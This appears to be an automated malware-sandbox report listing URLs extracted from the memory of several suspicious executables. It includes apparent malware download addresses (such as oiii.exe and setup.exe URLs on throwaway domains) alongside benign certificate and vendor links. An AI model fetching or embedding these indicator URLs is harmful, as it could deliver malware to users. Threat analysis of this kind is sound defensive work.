Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://crl3.digicert.com/EVCodeSigningSHA2-g1.crl07
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: CHA0VZiz8y.exe, 00000000.00000003.2164957983.00000000065E5000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2165595509.0000000006B12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://f.alie3ksggg.com/f/oiii.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fleur-de-lis.sbs/jhgfd
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fleur-de-lis.sbs/jhgfdx
Source: CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fleur-de-lis.sbs/jhgfd~
Source: 7U1bGcxK3Lqi_XMHDNEdJrhB.exe, 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error
Source: _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2424687708.0000000002B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.0/xmp
Source: _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2424687708.0000000002B0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.microsoft.co2/t/Re
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://ocsp.digicert.com0H
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: CHA0VZiz8y.exe, 00000000.00000003.2164957983.00000000065E5000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2165595509.0000000006B12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000000.2267358139.000000000118E000.00000080.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000000.2267358139.000000000118E000.00000080.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000000.2267358139.000000000118E000.00000080.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: zfQlIB6J8n2u_zLV5LHnA1xW.exe, 0000000C.00000002.2320846713.0000000004210000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://rpi.net.au/~ajohnson/resourcehacker
Source: FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000003.2329349408.000001F25CE30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sta.alie3ksgee.com/123.456
Source: FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000003.2329349408.000001F25CE30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sta.alie3ksgee.com/aaaaaaaa.jpg
Source: FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000003.2329349408.000001F25CE30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://sta.alie3ksgee.com/aaaaaaaa.jpghttp://sta.alie3ksgee.com/123.456http://sta.alie3ksgee.com/123
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: _rSi8sV87ppx0bgkbETdFbEZ.exe, 00000010.00000003.2273853174.00000000021C0000.00000004.00001000.00020000.00000000.sdmp, _rSi8sV87ppx0bgkbETdFbEZ.exe, 00000010.00000003.2274149557.0000000001F48000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.innosetup.com/
Source: _rSi8sV87ppx0bgkbETdFbEZ.exe, 00000010.00000003.2271547280.0000000001F41000.00000004.00001000.00020000.00000000.sdmp, _rSi8sV87ppx0bgkbETdFbEZ.exe, 00000010.00000003.2271423623.00000000021C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.mpegla.com
Source: 7U1bGcxK3Lqi_XMHDNEdJrhB.exe, 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.openssl.org/support/faq.html
Source: _rSi8sV87ppx0bgkbETdFbEZ.exe, 00000010.00000003.2273853174.00000000021C0000.00000004.00001000.00020000.00000000.sdmp, _rSi8sV87ppx0bgkbETdFbEZ.exe, 00000010.00000003.2274149557.0000000001F48000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.remobjects.com/ps
Source: _rSi8sV87ppx0bgkbETdFbEZ.exe, 00000010.00000003.2273853174.00000000021C0000.00000004.00001000.00020000.00000000.sdmp, _rSi8sV87ppx0bgkbETdFbEZ.exe, 00000010.00000003.2274149557.0000000001F48000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.remobjects.com/psU
Source: CHA0VZiz8y.exe, 00000000.00000003.2052702628.0000000000400000.00000004.00001000.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000003.2412636025.0000000002FA0000.00000004.00001000.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2613733095.000000000063D000.00000040.00000001.01000000.00000013.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2402278722.0000000005B0D000.00000004.00000020.00020000.00000000.sdmp, _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2408169925.0000000005C55000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566151117.00000000061EE000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2567876023.00000000062A8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2409721916.0000000005EE8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2416728276.0000000005F89000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2462518721.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2455632811.00000000079C8000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2602295483.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EEmC0rfrxeQDEUW4Qmh7BQX4.exe, 00000014.00000003.2456079540.0000000002FCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: CHA0VZiz8y.exe, 00000000.00000003.2138600045.000000000441E000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2139765657.0000000004420000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2138058247.0000000004B51000.00000004.00000020.00020000.00000000.sdmp, FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000000.2266954848.00007FF762EB9000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?The
Source: CHA0VZiz8y.exe, 00000000.00000003.2138600045.000000000441E000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2139765657.0000000004420000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2138058247.0000000004B51000.00000004.00000020.00020000.00000000.sdmp, FIxDICT7hSLYFeTzbHHqKZ7Z.exe, 00000012.00000000.2266954848.00007FF762EB9000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?framework=&framework_version=missing_runtime=true&arch=&rid=
Source: A_22rjVO67ooiUk2ueyL6tMl.exe, 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://aka.ms/dotnet-core-applaunch?missing_runtime=true&arch=&rid=falsetrue%pLuLdluldeEpP%c
Source: 7U1bGcxK3Lqi_XMHDNEdJrhB.exe, 7U1bGcxK3Lqi_XMHDNEdJrhB.exe, 00000007.00000002.2311839298.0000000002210000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://api.2ip.ua/geo.json
Source: J9jGBSSbDD3yrTx79DzmOLls.exe, 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: CHA0VZiz8y.exe, 00000000.00000003.2061926794.00000000004A6000.00000004.00000020.00020000.00000000.sdmp, 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com/
Source: CHA0VZiz8y.exe, 00000000.00000003.2061926794.00000000004A6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com//l
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com/O
Source: 0YXJTGaxIrryNdvx7SKozTjt.exe, 00000013.00000002.2616507052.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.myip.com:443/
Source: _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2402278722.0000000005B0D000.00000004.00000020.00020000.00000000.sdmp, _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2408169925.0000000005C55000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566151117.00000000061EE000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2567876023.00000000062A8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2409721916.0000000005EE8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2416728276.0000000005F89000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2462518721.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2455632811.00000000079C8000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2602295483.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EEmC0rfrxeQDEUW4Qmh7BQX4.exe, 00000014.00000003.2456079540.0000000002FCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2402278722.0000000005B0D000.00000004.00000020.00020000.00000000.sdmp, _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2408169925.0000000005C55000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566151117.00000000061EE000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2567876023.00000000062A8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2409721916.0000000005EE8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2416728276.0000000005F89000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2462518721.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2455632811.00000000079C8000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2602295483.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EEmC0rfrxeQDEUW4Qmh7BQX4.exe, 00000014.00000003.2456079540.0000000002FCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2402278722.0000000005B0D000.00000004.00000020.00020000.00000000.sdmp, _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2408169925.0000000005C55000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566151117.00000000061EE000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2567876023.00000000062A8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2409721916.0000000005EE8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2416728276.0000000005F89000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2462518721.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2455632811.00000000079C8000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2602295483.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EEmC0rfrxeQDEUW4Qmh7BQX4.exe, 00000014.00000003.2456079540.0000000002FCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016E3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.175
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=8.46.123.175o
Source: Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2719544361.00000000016A9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=8.46.123.175
Source: CHA0VZiz8y.exe, 00000000.00000003.2189012972.0000000004B71000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2188863975.000000000441D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.vk.com
Source: _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2402278722.0000000005B0D000.00000004.00000020.00020000.00000000.sdmp, _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2408169925.0000000005C55000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566151117.00000000061EE000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2567876023.00000000062A8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2409721916.0000000005EE8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2416728276.0000000005F89000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2462518721.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2455632811.00000000079C8000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2602295483.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EEmC0rfrxeQDEUW4Qmh7BQX4.exe, 00000014.00000003.2456079540.0000000002FCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2402278722.0000000005B0D000.00000004.00000020.00020000.00000000.sdmp, _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2408169925.0000000005C55000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566151117.00000000061EE000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2567876023.00000000062A8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2409721916.0000000005EE8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2416728276.0000000005F89000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2462518721.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2455632811.00000000079C8000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2602295483.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EEmC0rfrxeQDEUW4Qmh7BQX4.exe, 00000014.00000003.2456079540.0000000002FCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2402278722.0000000005B0D000.00000004.00000020.00020000.00000000.sdmp, _ebPmq_TcwNignYm0bf0ytJM.exe, 00000006.00000003.2408169925.0000000005C55000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2566151117.00000000061EE000.00000004.00000020.00020000.00000000.sdmp, Zy329tNpRVznAcNUeSg4uGuQ.exe, 0000000A.00000003.2567876023.00000000062A8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2409721916.0000000005EE8000.00000004.00000020.00020000.00000000.sdmp, ZMyjNtrJZsXoQ4xLeKYzrWJD.exe, 0000000D.00000003.2416728276.0000000005F89000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2462518721.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2607403739.0000000001C9F000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2608954397.0000000001CA9000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2455632811.00000000079C8000.00000004.00000020.00020000.00000000.sdmp, EPA5EhRzK9ZnpAjdUqLJteUs.exe, 0000000F.00000003.2602295483.0000000001CB6000.00000004.00000020.00020000.00000000.sdmp, EEmC0rfrxeQDEUW4Qmh7BQX4.exe, 00000014.00000003.2456079540.0000000002FCB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: CHA0VZiz8y.exe, CHA0VZiz8y.exe, 00000000.00000003.2144743645.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2189147343.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2159189354.00000000043F9000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2144949802.00000000043D0000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2166181794.00000000043F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://f.123654987.xyz/525403/setup.exe
Source: CHA0VZiz8y.exe, 00000000.00000003.2159189354.00000000043F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://f.123654987.xyz/525403/setup.exeU
Source: CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002AF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleur-de-lis.sbs/2
Source: CHA0VZiz8y.exe, 00000000.00000003.2126859074.00000000043C6000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2136279738.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2135718098.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2125562023.00000000043C6000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2125970270.00000000043C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleur-de-lis.sbs/jhgfd
Source: CHA0VZiz8y.exe, 00000000.00000003.2124790795.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2128621423.0000000002B19000.00000004.00000020.00020000.00000000.sdmp, CHA0VZiz8y.exe, 00000000.00000003.2134619151.0000000002B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://fleur-de-lis.sbs/jhgfdD
